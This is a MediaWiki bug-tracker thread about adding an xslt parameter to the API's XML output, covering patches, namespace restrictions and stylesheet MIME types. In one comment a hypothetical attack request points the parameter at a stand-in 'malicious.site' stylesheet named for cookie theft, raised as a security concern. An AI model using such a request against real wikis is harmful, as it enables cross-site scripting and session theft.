Last modified: 2014-11-18 18:07:33 UTC
Most API queries offer more flexibility than the corresponding special pages, so they could be used to create extended versions of those pages on the wiki, but formatting the results with javascript is somewhat cumbersome. XSLT would be much more suited to the task. It would be nice to have an optional XSLT parameter pointing to an XSLT file so that editors could simply use the API result page with XML format and the given transformation file, and their browser would format the results accordingly. This might be a potential XSS vector so such files should be restricted to the MediaWiki namespace and possibly the user's own space.
Processing of the XML output should be done client-side, not server-side, and certainly not in a way that introduces XSS vulnerabilities. Closing as WONTFIX.
(In reply to comment #1) > Processing of the XML output should be done client-side, not server-side, and > certainly not in a way that introduces XSS vulnerabilities. Closing as WONTFIX. > The processing will still be done client-side: The bug opener refers to the <?xml-stylesheet href="location-to.xsl" type="text/xsl" ?> which could optionally be added to the top of the XML document in order to have a direct transformation when viewed in the web browser.
And it does not introduce any new XSS vulnerabilities if the XSLT file must come from the MediaWiki namespace; those who can write it can make XSS attacks much easier through the site-wide JS files.
(In reply to comment #2) > The processing will still be done client-side: The bug opener refers to the > <?xml-stylesheet href="location-to.xsl" type="text/xsl" ?> which could > optionally be added to the top of the XML document in order to have a direct > transformation when viewed in the web browser. > And what if someone points to a malicious XSLT? E.g. api.php?action=query&xslt=http://malicious.site/steal-cookies.xslt Also, this is API. *Application* programming interface. It's not intended to format a user-readable output. I suggest WONTFIX.
(In reply to comment #4) > And what if someone points to a malicious XSLT? E.g. > api.php?action=query&xslt=http://malicious.site/steal-cookies.xslt As I said in the summary, XSLT files should be restricted to the MediaWiki namespace: for example, api.php?action=query&xslt=foo could be translated to <?xml-stylesheet href="http://wiki.domain/wiki/MediaWiki:XSLT-foo.xsl" type="text/xsl" ?>. Anyone with malicious intent and write access to the MW namespace can already pull far worse tricks. > Also, this is API. *Application* programming interface. It's not intended to > format a user-readable output. I suggest WONTFIX. And it would not format a user-readable output; it would format the exact same output with an XSLT header added. One could argue that the application is the browser in this case, were not arguments about the semantics of the A in API utterly pointless. Are there any actual drawbacks in allowing administrators to create user-readable formats of queries (with links to the relevant tools etc.) in a template-like format instead of a procedural language (JavaScript) which is much less convenient for this task?
Created attachment 6322 [details] Adds xslt parameter to format=xml Untested patch that adds a stylesheet declaration in the form MediaWiki:<xslt>.xslt. Possible problems: * Content-type: Does it matter for browsers which content type the stylesheet is served with? * Can the URL be local or is it required to be full? * If non-existent title or invalid title is given, fails silently. It could throw an error, but maybe it is better if simply the raw XML is given. (Perhaps indicate the error in a comment?)
(In reply to comment #6) > Created an attachment (id=6322) [details] > Adds xslt parameter to format=xml > > Untested patch that adds a stylesheet declaration in the form > MediaWiki:<xslt>.xslt. > Patch reviewed, feel free to commit after testing. > Possible problems: > * Content-type: Does it matter for browsers which content type the stylesheet > is served with? > * Can the URL be local or is it required to be full? > * If non-existent title or invalid title is given, fails silently. It could > throw an error, but maybe it is better if simply the raw XML is given. (Perhaps > indicate the error in a comment?) > Throwing a warning is probably best.
Should the parameter be xslt= or xsl= ? Furthermore I believe that the extension should be .xsl, right?
There should also be an option for using its own stylesheets (eg. user Foo can use User:Foo/skin.xls). That would need to add that extension as user-page protected. At least, the parameter should contain the namespace for future compatibility of the above use case.
Done in r53194 .
Can't the client-side processing add in the XSLT reference itself from the consumed XML? This seems unnecessary.
You could add a site-wide javascript which checks if the user is on a certain page, gets the XML file via an AJAX query and adds the XSLT file, but having a query parameter for it is much more straightforward, and does not require JS code that will be downloaded by all users but never used by most.
Note, the parameter should add the header: <?xml-stylesheet href="location-to.xsl" type="text/xsl" ?> not <?xml-stylesheet href="location-to.xsl" type="text/xml" ?> As text/xml is not recognized by all browsers (see [[w:XSLT]]). Internet explorer in paticular seems to need text/xsl .
*** Bug 20939 has been marked as a duplicate of this bug. ***
Note, in addition, some browsers (older gecko based browsers) are strict about mime type that the xslt is sent with. Pretty please (With a cherry on top) make the xslt file be sent with a mime type of application/xml and change the <?xml-stylesheet line to: <?xml-stylesheet href="location-to.xsl" type="text/xsl" ?> This would actually make this work on a wide variaty of browsers.
Created attachment 6820 [details] make it send a mime type that more browsers recognize This makes the type attribute on <?xml-stylesheet processing instruction be text/xsl, which is recognized by all browsers (in paticular internet explorer; see [[w:xslt]]). It also allows pages in mediawiki namespace to be sent using mime type application/xml, which is a more technically correct mime type for xslt compared to text/x-wiki. (old mozilla (1.8) requires this, however old mozilla also does not recognize &'s in <?xml-stylesheet?> processing instruction, so that part is not really needed, as old mozilla will not work regardless.)
I'm passing this through Tim before I apply it, as he changed the mimetype in r55749.
It's fine, you can revert me.
r61419
